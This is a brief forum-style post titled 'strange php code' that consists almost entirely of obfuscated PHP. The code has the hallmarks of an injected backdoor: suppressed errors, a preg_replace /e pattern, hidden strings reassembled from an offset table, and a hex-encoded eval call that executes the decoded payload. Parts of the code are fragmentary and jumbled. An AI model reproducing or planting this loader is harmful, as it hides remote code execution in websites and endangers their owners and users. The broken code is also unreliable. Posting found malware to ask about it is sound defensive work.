strange php code

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function fjfgg($n){return chr(ord($n)-1);} @error_reporting(0); if((function_exists(5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%x78y76]271]y7d]252]y74]2525%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825!>!2p%x5c%x827&6<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x7825d>%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c5!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~<ofmy%25b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%%x7825G]y6d]281Ld]245]K5c%x78272qj%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782]84#-!OVMM*<%x22%51%x29%51%x29%73", NULL); }/(.*)/epreg_replacecxlntbmzih'; $rgblfxezka = explode(chr((270-226)),'9635,20,376,51,7967,69,9569,66,9348,37,7004,61,6451,40,4062,29,4091,38,2835,39,2798,37,344,32,3501,39,3811,49,542,57,5379,64,6368,32,3072,24,3976,46,1582,24,6548,47,4645,37,1407,63,9792,57,8696,43,5004,36,8305,61,4236,51,9442,51,2563,62,911,28,5571,32,2295,32,10000,62,842,69,3096,22,7823,41,6077,49,8887,35,939,35,9228,50,1645,50,3195,56,9493,45,1606,39,7541,70,1470,64,1973,40,3013,59,6491,21,5819,39,5243,66,4819,48,4287,60,5694,23,165,24,1811,47,4465,68,3725,32,3140,27,7475,66,3448,53,6907,44,6665,51,2390,40,6595,28,9887,41,1752,59,1007,58,2430,59,473,69,7220,62,5486,33,9655,45,9722,70,3251,27,7282,66,7401,32,4215,21,1324,32,1534,48,8545,41,4867,63,7735,25,4042,20,6283,59,599,65,6623,42,3917,59,2625,63,6740,50,3668,57,1356,51,4787,32,7065,23,7115,43,4969,35,2543,20,1921,52,427,46,3540,64,5443,43,1202,60,5040,61,5957,54,772,70,2958,55,2874,30,6815,48,2210,59,6213,42,3381,67,8971,30,3278,61,6255,28,6400,51,9100,49,2013,39,209,26,7611,55,281,63,4129,47,5101,35,2688,61,8036,62,8482,63,3339,42,107,58,4930,39,8586,46,4561,45,7760,63,6190,23,4176,39,7666,69,3604,64,3860,24,1133,69,5519,52,6011,66,2269,26,8246,59,4682,62,8386,47,5136,70,2749,49,7158,62,8739,34,8433,49,1065,21,8863,24,2904,54,8922,49,9538,31,4606,39,9001,26,7926,41,8186,21,0,60,6512,36,3167,28,6716,24,1262,62,1858,63,5717,56,4744,43,8098,46,2108,37,2176,34,6790,25,2489,30,3757,54,9385,57,7864,62,2327,63,5773,46,9149,51,235,46,60,47,6951,53,5603,57,1086,47,8207,39,8366,20,9977,23,6863,44,8773,22,9849,38,4398,67,8795,68,664,55,7433,42,2052,56,4022,20,4347,51,189,20,9278,70,5858,42,2519,24,974,33,9078,22,9928,49,7088,27,9200,28,5660,34,5309,70,5900,57,1695,57,6126,64,8632,64,2145,31,4533,28,719,53,7348,53,6342,26,9700,22,9027,51,5206,37,8144,42,3118,22,3884,33,10062,44'); $uvxdbqeoxv=substr($dwrqkcipdw,(67483-57377),(40-33)); if (!function_exists('fisksthdeg')) { function fisksthdeg($pburnbjrga, $stqvdwiotx) { $ylbwipcxzs = NULL; for($rtyxoeyyuw=0;$rtyxoeyyuw<(sizeof($pburnbjrga)/2);$rtyxoeyyuw++) { $ylbwipcxzs .= substr($stqvdwiotx, $pburnbjrga[($rtyxoeyyuw*2)],$pburnbjrga[($rtyxoeyyuw*2)+1]); } return $ylbwipcxzs; };} $ackauxdbam="\x20\57\x2a\40\x67\156\x79\150\x69\167\x79\170\x78\153\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\71\x35\55\x31\65\x38\51\x29\54\x20\143\x68\162\x28\50\x35\67\x36\55\x34\70\x34\51\x29\54\x20\146\x69\163\x6b\163\x74\150\x64\145\x67\50\x24\162\x67\142\x6c\146\x78\145\x7a\153\x61\54\x24\144\x77\162\x71\153\x63\151\x70\144\x77\51\x29\51\x3b\40\x2f\52\x20\164\x73\170\x64\145\x69\162\x67\162\x74\40\x2a\57\x20"; $ytevnshdic=substr($dwrqkcipdw,(41274-31161),(76-64)); $ytevnshdic($uvxdbqeoxv, $ackauxdbam, NULL); $ytevnshdic=$ackauxdbam; $ytevnshdic=(672-551); $dwrqkcipdw=$ytevnshdic-1; ?><?php